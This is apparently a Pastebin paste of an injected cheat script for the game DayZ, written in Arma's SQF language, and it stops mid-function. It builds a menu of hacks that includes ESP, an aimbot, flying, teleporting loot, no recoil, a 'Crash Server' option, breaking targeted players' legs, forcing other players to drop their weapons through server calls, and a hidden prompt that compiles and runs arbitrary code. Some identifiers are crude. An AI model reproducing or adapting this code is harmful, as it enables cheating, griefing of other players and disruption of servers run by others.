Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- hint "Code INJECTED SUCCESSFULLY";
- if (isnil ("runonce")) then
- {
- runonce = true;
- };
- if (runonce) then
- {
- player_queued =
- {
- _id = _this select 0;
- myplayeruid = _id;
- titleText ["","BLACK FADED",0];
- setAperture 0;
- _alive = _this select 1;
- if (!_alive) then
- {
- clientNew = [13,[1,0,0],_id];
- publicVariableServer "clientNew";
- }
- else
- {
- clientReady = _id;
- publicVariableServer "clientReady";
- };
- };
- runonce = false;
- whitelist = [];
- whitelist = profileNamespace getVariable ["whitelist",[]];
- isUnderRoof = {_swag = 1337;_swag};
- keybindz2 = {
- switch (_this) do {
- case 184: {
- closedialog 0;
- createDialog "RscDisplayRemoteMissions";
- sleep 1;
- ["<t shadow='1'shadowColor='#ff0000'color='#000000'>" + "John is awesome" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit2;
- lbAdd [101, "ESP"];
- lbAdd [101, "BODY ESP"];
- lbAdd [101, "WRECK ESP"];
- lbAdd [101, "Dupe Body"];
- lbAdd [101, "Fly"];
- lbAdd [101, "Fast Walk"];
- lbAdd [101,"Head Shake"];
- lbAdd [101, "Zombie shield"];
- lbAdd [101, "Crash Server"];
- lbAdd [101, "View Gear"];
- lbAdd [101, "Remove Building"];
- lbAdd [101, "Item Filter"];
- lbAdd [101, "Free Cam"];
- lbAdd [101, "No Recoil"];
- lbAdd [101, "No Grass"];
- lbAdd [101, "Attachto [T]"];
- lbAdd [101, "Spectate [T]"];
- lbAdd [101, "Shoot em [T]"];
- lbAdd [101, "Break Leg [T]"];
- lbAdd [101, "Knock em out [T]"];
- lbAdd [101, "Remove Weapon[T]"];
- lbClear 104;
- lbadd [104, "All Players"];
- ctrlShow [1013, false];
- ctrlShow [1015, false];
- ctrlShow [134, false];
- ctrlShow [1002, false];
- ctrlShow [132, false];
- ctrlShow [109, false];
- ctrlShow [1004, false];
- ctrlShow [1006, false];
- ctrlShow [131, false];
- ctrlShow [1085, false];
- ctrlShow [1086, false];
- ctrlShow [1011, false];
- ctrlShow [123, false];
- ctrlShow [1, false];
- ctrlShow [2, false];
- ctrlShow [1082, false];
- ctrlShow [130, false];
- ctrlSetText [1010, " Scripts"];
- ctrlSetText [1008, " Players"];
- ctrlSetText [1012, " Items:"];
- ctrlSetText [1000, "MENN johnMen"];
- _display = (findDisplay 17);
- _control = _display displayCtrl 101;
- _control ctrlSetPosition [safezoneX + 0.21 * safezoneW, safezoneY + 0.12 * safezoneH, safezoneW * 0.275, safezoneH * 0.79];
- _control ctrlSetEventHandler ["LBDblClick", "[lbtext [101, (lbCurSel 101)]] spawn johnscrpt_ran;"];
- _control ctrlCommit 0;
- [] spawn
- {
- _display = (findDisplay 17);
- _control = _display displayCtrl 103;
- _control ctrlSetPosition [safezoneX + 0.02 * safezoneW, safezoneY + 0.925 * safezoneH, safezoneW * 0.05, safezoneH * 0.05];
- _control ctrlsettext "Add";
- buttonSetAction [103,'[lbtext [104, (lbCurSel 104)]] spawn johnscrpt_addtowhitelist;'];
- _control ctrlCommit 0;
- };
- [] spawn
- {
- _display = (findDisplay 17);
- _control = _display displayCtrl 102;
- _control ctrlSetEventHandler ["LBDblClick", "[lbtext [102, (lbCurSel 102)]] spawn johnscrpt_teleport;"];
- _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
- {
- if ((_x != player) && !(_x isKindOf "Man")) then
- {
- _typeof = toArray typeof _x;
- _typeof resize 5;
- _typeof;
- _typeof = toString _typeof;
- if ((_typeof != "land_") && (_typeof != "#crat") && (_typeof != "") && (_typeof != "#part")) then
- {
- _index = _control lbAdd format ["%1",typeOf _x ];
- };
- };
- } forEach _entities;
- lbsort _control;
- };
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if ((name _x != "unknown entity") && (alive _x)) then
- {
- _display = (findDisplay 17);
- _control = _display displayCtrl 104;
- _control ctrlSetPosition [safezoneX + 0.025 * safezoneW, safezoneY + 0.12 * safezoneH, safezoneW * 0.18, safezoneH * 0.79];
- _control ctrlSetEventHandler ["LBDblClick", "[lbtext [104, (lbCurSel 104)]] spawn johnscrpt_target;"];
- _control ctrlCommit 0;
- _index = _control lbAdd (name _x);
- _control lbSetPicture [_index, "\DZ\ui\data\map\vehicleicons\iconMan_ca.paa"];
- _hand = primaryWeapon _x;
- _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
- if (_wName != "") then
- {
- _control lbSetPicture [_index, "\DZ\ui\data\igui\cfg\islandmap\iconplayer_ca.paa"];
- };
- if (name _x == targetname ) then
- {
- _control lbSetPicture [_index, "\DZ\ui\data\igui\cfg\PeripheralVision\bloodTexture_ca.paa"];
- };
- _found = [getplayeruid _x,str whitelist] call InString;
- if (_found) then
- {
- _control lbSetPicture [_index, "\DZ\ui\data\map\vehicleicons\iconTank_ca.paa"];
- };
- };
- } forEach _entities;
- [] spawn {
- waitUntil {(58 in (toArray (ctrlText ((findDisplay 24) displayCtrl 101))))};
- _text = ctrlText ((findDisplay 24) displayCtrl 101);[] spawn compile _text;((findDisplay 24) displayCtrl 101) ctrlSetText '';(findDisplay 24) closeDisplay 0;
- };
- };
- };
- };
- nuke = false;
- [] spawn
- {
- while {!(isNull (findDisplay 12))} do
- {
- sleep 5;
- playerarray = [];
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if ((alive _x) && (_x != player)) then
- {
- playerarray = playerarray + [_x];
- };
- }foreach _entities;
- };
- };
- johnscrpt_nukezz =
- {
- nuke = !nuke;taskhint ["nuke = " + str nuke, [1, 0, 0, 1], "taskCurrent"];
- };
- johnscrpt_russia =
- {
- _array = _this select 0;
- _penis = _array select 1;
- _penis2 = _array select 2;
- _display = (findDisplay 12);
- _control = _display displayCtrl 51;
- _WorldCoord = _control ctrlMapScreenToWorld [_penis,_penis2];
- if (nuke) then
- {
- _bullet = "laserbombcore" createvehiclelocal [_WorldCoord select 0, _WorldCoord select 1, 5];
- _bullet setVelocity [0, 0, -50000];
- systemchat str [_WorldCoord select 0, _WorldCoord select 1, 5];
- };
- };
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x4C) then
- {
- createdialog "RscDisplayMainMap";
- waitUntil {!(isNull (findDisplay 12))};
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 0 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 1 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 2 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 3 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 4 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 5 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 6 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 7 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 8 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 9 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 10 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 11 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 12 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 13 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 14 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 15 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 16 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 0 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 17 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 18 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 19 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
- (_this select 0) drawLine [
- getPos player,
- playerarray select 20 modeltoworld [0,0,1.20],
- [0,0,1,1]
- ];
- "];
- for "_i" from 100 to 5000 do {
- ctrlShow [_i, false];
- };
- _display = (findDisplay 12);
- _control = _display displayCtrl 51;
- _control ctrlSetEventHandler ["mousemoving","[_this] spawn johnscrpt_russia;"];
- _control ctrlSetEventHandler ["mousebuttondblclick","[] spawn johnscrpt_nukezz;"];
- }'];
- waituntil {!isnull (finddisplay 46)};
- (findDisplay 46) displayAddEventHandler ["KeyDown","_this select 1 call keybindz2;false;"];
- keybindz = {
- switch (_this) do {
- case 42: {
- if (johnscrpt_fastwalk == 1) then
- {
- johnscrpt_pos = [(getPos player select 0)+5*sin(getdir player),(getPos player select 1)+5*cos(getdir player)];
- player setpos johnscrpt_pos;
- };
- };
- };
- };
- waituntil {!isnull (finddisplay 46)};
- (findDisplay 46) displayAddEventHandler ["KeyDown","_this select 1 call keybindz;false;"];
- InString =
- {
- private ["_needle","_haystack","_needleLen","_hay","_found"];
- _needle = [_this, 0, "", [""]] call BIS_fnc_param;
- _haystack = toArray ([_this, 1, "", [""]] call BIS_fnc_param);
- _needleLen = count toArray _needle;
- _hay = +_haystack;
- _hay resize _needleLen;
- _found = false;
- for "_i" from _needleLen to count _haystack do
- {
- if (toString _hay == _needle) exitWith {_found = true};
- _hay set [_needleLen, _haystack select _i];
- _hay set [0, "x"];
- _hay = _hay - ["x"]
- };
- _found
- };
- fonzy_fnc_selectrandom = {
- if (count _this > 0) then {
- _this select (floor random (count _this));
- } else {
- ["Array has no elements."] call bis_fnc_error;
- nil
- };
- };
- johnscrpt_swag =
- {
- if !(drawing_text) then
- {
- _control = (uinamespace getvariable "BIS_RscMissionScreen") displayctrl 1300;
- _len = count (toArray (ctrltext _control));
- _ammount = _len - 1;
- _ns = toArray (ctrltext _control);
- _ns resize _ammount;
- _ns;
- _ns = toString _ns;
- _control ctrlsetstructuredtext parsetext format ["<t shadow='1'shadowColor='#ff0000'color='#000000'>%1</t>",_ns];
- playsound "counter";
- };
- };
- johnscrpt_drawit2 = {
- disableserialization;
- (_this select 4) cutrsc ["RscMissionScreen","plain down"];
- _control = (uinamespace getvariable "BIS_RscMissionScreen") displayctrl 1300;
- _control ctrlsetstructuredtext parsetext (_this select 0);
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 0.15;
- call johnscrpt_swag;
- sleep 2;
- _control ctrlSetText "";
- };
- inanglesector =
- {
- private["_dir1","_dir2","_dir3","_small","_large","_x","_y","_r"];
- _r = false;
- _small = (_this select 1) - ((_this select 2) / 2);
- _large = (_this select 1) + ((_this select 2) / 2);
- _x = ((_this select 3) select 0) - ((_this select 0) select 0);
- _y = ((_this select 3) select 1) - ((_this select 0) select 1);
- _dir1 = _x atan2 _y;
- if (_dir1 < 0) then {_dir1 = _dir1 + 360};
- _dir2 = _dir1 - 360;
- _dir3 = _dir1 + 360;
- if ((_dir1 >= _small && _dir1 <= _large) || (_dir2 >= _small && _dir2 <= _large) || (_dir3 >= _small && _dir3 <= _large)) then {_r = true};
- _r
- };
- johnscrpt_cansee =
- {
- _unit1 = _this select 0;
- _unit2 = _this select 1;
- johnscrpt_eyeDir = {
- _eval = (eyeDirection _this);
- _edir = (_eval select 0) atan2 (_eval select 1);
- if (_edir < 0) then {_edir = 360 + _edir};
- _edir
- };
- _canSee = false;
- _inView = [position _unit1, _unit1 call johnscrpt_eyeDir, 120, position _unit2] call inAngleSector;
- if (_inView) then
- {
- if (! terrainIntersectASL [eyePos _unit1, eyePos _unit2]) then
- {
- if (count (lineIntersectsWith [eyePos _unit1, eyePos _unit2, _unit1, _unit2]) == 0) then
- {
- _canSee = true;
- };
- };
- };
- _canSee
- };
- johnscrpt_aimbot =
- {
- _pos1 = _this select 0;
- _pos2 = _this select 1;
- if(typename _pos1 == "OBJECT") then {_pos1 = _pos1 modeltoworld [0,0,0]};
- if(typename _pos2 == "OBJECT") then {_pos2 = _pos2 modeltoworld [0,0,0]};
- _ret = ((_pos2 select 0) - (_pos1 select 0)) atan2 ((_pos2 select 1) - (_pos1 select 1));
- _ret = _ret % 360;
- _ret
- };
- johnscrpt_addtowhitelist =
- {
- _name = _this select 0;
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if (name _x == _name) then
- {
- whitelist = whitelist + [getplayeruid _x];
- systemchat format ["Adding %1 to the whitelist",_name];
- profileNamespace setVariable ["whitelist",whitelist];saveProfileNamespace;
- };
- } forEach _entities;
- };
- johnscrpt_drawit = {
- disableserialization;
- drawing_text = true;
- (_this select 4) cutrsc ["RscMissionScreen","plain down"];
- _control = (uinamespace getvariable "BIS_RscMissionScreen") displayctrl 1300;
- _control ctrlsetstructuredtext parsetext (_this select 0);
- sleep 5;
- drawing_text = false;
- _control ctrlSetText "";
- };
- johnscrpt_teleport =
- {
- _itemname = _this select 0;
- itemname = _itemname;
- _itemname2 = "Teleporting " + itemname;
- ["<t size='1.3' color='#00E0FD'>" + _itemname2 + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
- {
- if ((_x != player) && !(_x isKindOf "Man") && (typeOf _x == itemname)) then
- {
- _pos = player modelToWorld [round ((random 1)),round ((random 1)),0];
- _x setpos _pos;
- };
- } forEach _entities;
- };
- johnscrpt_filteritems = {
- closedialog 0;
- sleep 1;
- lbclear 102;
- _itemname = _this select 0;
- _display = (findDisplay 17);
- _control = _display displayCtrl 102;
- _control ctrlSetEventHandler ["LBDblClick", "[lbtext [102, (lbCurSel 102)]] spawn johnscrpt_teleport;"];
- _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
- {
- if ((_x != player) && !(_x isKindOf "Man")) then
- {
- _found = [_itemname,typeof _x] call InString;
- if (_found) then
- {
- _typeof = toArray typeof _x;
- _typeof resize 5;
- _typeof;
- _typeof = toString _typeof;
- if ((_typeof != "land_") && (_typeof != "#crat") && (_typeof != "") && (_typeof != "#part")) then
- {
- _index = _control lbAdd format ["%1",typeOf _x ];
- };
- };
- };
- } forEach _entities;
- };
- johnscrpt_target =
- {
- _target = _this select 0;
- targetname = _target;
- _target2 = "Target = " + _target;
- ["<t size='1.3' color='#00E0FD'>" + _target2 + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- };
- johnscrpt_ran =
- {
- _scriptname = _this select 0;
- _scriptname2 = "Ran " + _scriptname;
- systemchat _scriptname2;
- if (_scriptname == "Bullet Velocity") then
- {
- if (isnil ("Bullet")) then
- {
- Bullet = false;
- };
- if (Bullet) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Bullet Velocity Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- Bullet = false;
- player removeAllEventHandlers "Fired";
- }else{
- ["<t size='1.3' color='#00E0FD'>" + "Bullet Velocity On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- Bullet = true;
- player addEventHandler ["fired",{ (_this select 6) setpos targetpos;}];
- };
- };
- if (_scriptname == "Break Leg [T]") then
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if (name _x == targetname) then
- {
- _anim = animationState _x;
- _bodyPosition = getText(configFile >> "CfgMovesMaleSdr2" >> "states" >> _anim >> "bodyPosition");
- if (_bodyposition == "prone") then
- {
- systemchat "prone";
- pos = _x modeltoworld [-.10,-0.3,.65];
- };
- if (_bodyposition == "kneel") then
- {
- systemchat "kneel";
- pos = _x modeltoworld [-.10,.05,.65];
- };
- if (_bodyposition == "stand") then
- {
- systemchat "stand";
- pos = _x modeltoworld [-.10,.10,.65];
- };
- _bullet = "a_composite" createvehiclelocal pos;
- _bullet setVelocity [0, 0, -50000];
- };
- }foreach _entities;
- };
- if (_scriptname == "Item Filter") then
- {
- createdialog "RscDisplayNote";
- ctrlSetText [1300, "Item Filter"];
- buttonSetAction [1600, "[ctrlText ((findDisplay 120) displayCtrl 1400)] spawn johnscrpt_filteritems;"];
- };
- if (_scriptname == "Fly") then
- {
- if (isnil ("fly_toggle")) then
- {
- fly_toggle = false;
- };
- if (fly_toggle) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Fly Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- fly_toggle = false;
- }else{
- ["<t size='1.3' color='#00E0FD'>" + "Fly On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- fly_toggle = true;
- };
- if(fly_toggle) then {
- _pos = getposatl player;
- fly_dir = getdir player;
- fly_x = _pos select 0;
- fly_y = _pos select 1;
- fly_z = _pos select 2;
- fly_distance = 8;
- fly_wait = 0.001;
- [] spawn {
- _wait = false;
- while{fly_toggle} do {
- playeraction "startSwim";
- if(_wait) then {uiSleep fly_wait;_wait = false;};
- if(inputAction "moveForward" > 0) then {
- fly_x = fly_x+fly_distance*sin(fly_dir);
- fly_y = fly_y+fly_distance*cos(fly_dir);
- _wait = true;
- };
- if(inputAction "moveBack" > 0) then {
- _distance = fly_distance * -1;
- fly_x = fly_x+_distance*sin(fly_dir);
- fly_y = fly_y+_distance*cos(fly_dir);
- _wait = true;
- };
- if(inputAction "evasiveLeft" > 0) then {
- fly_dir = fly_dir - 5;
- _wait = true;
- };
- if(inputAction "evasiveRight" > 0) then {
- fly_dir = fly_dir + 5;
- _wait = true;
- };
- if(inputAction "prevAction" > 0) then {
- fly_z = fly_z + fly_distance;
- _wait = true;
- };
- if(inputAction "nextAction" > 0) then {
- fly_z = (fly_z - fly_distance) max 0;
- _wait = true;
- };
- };
- };
- while{fly_toggle} do {
- player setPosATL [fly_x,fly_y,fly_z];
- player setDIR fly_dir;
- player setVelocity [0,0,0.1];
- };
- };
- };
- if (_scriptname == "Aimbot") then
- {
- if (isnil ("johnscrpt_aimboton")) then
- {
- johnscrpt_aimboton = false;
- };
- if (johnscrpt_aimboton) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Aimbot Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_aimboton = false;
- }else{
- ["<t size='1.3' color='#00E0FD'>" + "Aimbot On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_aimboton = true;
- };
- if (isnil ("johnscrpt_aimbotnorun")) then
- {
- johnscrpt_aimbotnorun = "swag";
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x0F) then
- {
- _johnscrpt_targetlist = (positionCameraToWorld [0,0,0]) nearEntities ["SurvivorBase",200];
- _johnscrpt_target = _johnscrpt_targetlist select 1;
- if ((isplayer _johnscrpt_target) && (alive _johnscrpt_target) && (johnscrpt_aimboton)) then
- {
- _canzee = [player, _johnscrpt_target] call johnscrpt_cansee;
- if (_canzee) then
- {
- hint "can see";
- _johnscrpt_aimpro = [player, _johnscrpt_target] call johnscrpt_aimbot;
- player setDir _johnscrpt_aimpro;
- }else{
- hint "cant see";
- };
- };
- }'];
- };
- };
- if (_scriptname == "Zombie shield") then
- {
- if (isNil "standaloneisgayZombies") then {standaloneisgayZombies = 0;};
- if (standaloneisgayZombies == 0) then {
- ["<t size='1.3' color='#00E0FD'>" + "Zombie shield On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- standaloneisgayZombies = 1;
- } else {
- ["<t size='1.3' color='#00E0FD'>" + "Zombie shield OFF" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- standaloneisgayZombies = 0;
- };
- while {standaloneisgayZombies == 1} do {
- _pos = getPos player;
- _standaloneisgayNear = _pos nearEntities ["ZombieBase",400];
- _standaloneisgayCount = count _standaloneisgayNear;
- for "_i" from 0 to (_standaloneisgayCount - 1) do
- {
- _standaloneisgayZombie = _standaloneisgayNear select _i;
- _pos = _standaloneisgayZombie modeltoworld [0,0,1.20];
- _bullet = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet setVelocity [0, 0, -50000];
- _bullet2 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet2 setVelocity [0, 0, -50000];
- _bullet3 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet3 setVelocity [0, 0, -50000];
- _bullet4 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet4 setVelocity [0, 0, -50000];
- _bullet5 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet5 setVelocity [0, 0, -50000];
- _bullet6 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet6 setVelocity [0, 0, -50000];
- _bullet7 = "B_762x51_Ball" createvehiclelocal _pos;
- _bullet7 setVelocity [0, 0, -50000];
- };
- sleep 4;
- };
- };
- if (_scriptname == "Free Cam") then
- {
- cameraOn exec (getText (configFile >> "cameraScriptFree"));
- };
- if (_scriptname == "Map") then
- {
- createdialog "RscDisplayArcadeMap";
- };
- if (_scriptname == "TP Body's") then
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if ((name _x == "unknown entity") && !(alive _x)) then
- {
- _pos = player modelToWorld [round ((random 5)),round ((random 5)),0];
- _x setpos _pos;
- };
- } forEach _entities;
- };
- if (_scriptname == "Remove Building") then
- {
- if (isnil ("johnscrpt_showbuild")) then
- {
- johnscrpt_showbuild = 0;
- };
- if (johnscrpt_showbuild == 0) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Remove Building On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_showbuild = 1;
- }
- else
- {
- ["<t size='1.3' color='#00E0FD'>" + "Remove Building Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_showbuild = 0;
- };
- while {johnscrpt_showbuild == 1} do
- {
- _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
- {
- if ((_x != player) && !(_x isKindOf "Man")) then
- {
- _typeof = toArray typeof _x;
- _typeof resize 4;
- _typeof;
- _typeof = toString _typeof;
- if (_typeof == "land") then
- {
- hideObject _x;
- };
- };
- } forEach _entities;
- sleep 5;
- };
- while {johnscrpt_showbuild == 0} do
- {
- _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
- {
- if ((_x != player) && !(_x isKindOf "Man")) then
- {
- _typeof = toArray typeof _x;
- _typeof resize 4;
- _typeof;
- _typeof = toString _typeof;
- if (_typeof == "land") then
- {
- _x hideObject false;
- };
- };
- } forEach _entities;
- sleep 5;
- };
- };
- if (_scriptname == "Fuck Em Up[T]") then
- {
- if (isnil ("johnscrpt_fuckemup2")) then
- {
- johnscrpt_fuckemup2 = 0;
- };
- if (johnscrpt_fuckemup2 == 0) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Fuck Em Up On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_fuckemup2 = 1;
- }
- else
- {
- ["<t size='1.3' color='#00E0FD'>" + "Fuck Em Up Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_fuckemup2 = 0;
- };
- while {johnscrpt_fuckemup2 == 1} do
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if ((_x != player) && (alive _x) && (name _x == targetname)) then
- {
- _pos = player modelToWorld [0,1,0];
- _x setpos _pos;
- };
- } forEach _entities;
- };
- };
- if (_scriptname == "Fast Walk") then
- {
- if (isNil 'johnscrpt_fastwalk') then
- {
- johnscrpt_fastwalk = 0;
- };
- if (johnscrpt_fastwalk == 0) then
- {
- johnscrpt_fastwalk = 1;
- ["<t size='1.3' color='#00E0FD'>" + "Fast Walk On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- } else {
- johnscrpt_fastwalk = 0;
- ["<t size='1.3' color='#00E0FD'>" + "Fast Walk Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- };
- };
- if (_scriptname == "Remove Weapon[T]") then
- {
- if (isNil 'johnscrpt_removewep') then
- {
- johnscrpt_removewep = 0;
- };
- if (johnscrpt_removewep == 0) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "Remove Weapon On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_removewep = 1;
- } else {
- ["<t size='1.3' color='#00E0FD'>" + "Remove Weapon Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- johnscrpt_removewep = 0;
- };
- while {johnscrpt_removewep == 1} do
- {
- if (targetname == "All Players") then
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",200]);
- {
- _found = [getplayeruid _x,str whitelist] call InString;
- if (!(_found) && (alive _x) && (getplayeruid _x != "")) then
- {
- dropItems = _x;publicVariableServer 'dropItems';
- };
- } forEach _entities;
- }else{
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if (name _x == targetname) then
- {
- dropItems = _x;publicVariableServer 'dropItems';
- };
- } forEach _entities;
- };
- };
- };
- if (_scriptname == "View Gear") then
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if (name _x == targetname) then
- {
- createGearDialog [(_x), "RscDisplayGear"];
- };
- } forEach _entities;
- };
- if (_scriptname == "Spectate [T]") then
- {
- _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
- {
- if(name _x == targetname) then
- {
- vehicle _x switchCamera "EXTERNAL";
- systemchat format ["Spectating %1, press F10 to cancel", name _x];
- };
- } forEach _entities;
- (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x44) then {vehicle player switchCamera "EXTERNAL";}'];
- };
- if (_scriptname == "No Recoil") then
- {
- if (isnil ("johnscrpt_norecoil")) then
- {
- johnscrpt_norecoil = 0;
- };
- if (johnscrpt_norecoil==0) then
- {
- ["<t size='1.3' color='#00E0FD'>" + "No Recoil On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
- player setUnitRecoilCoefficient 0;
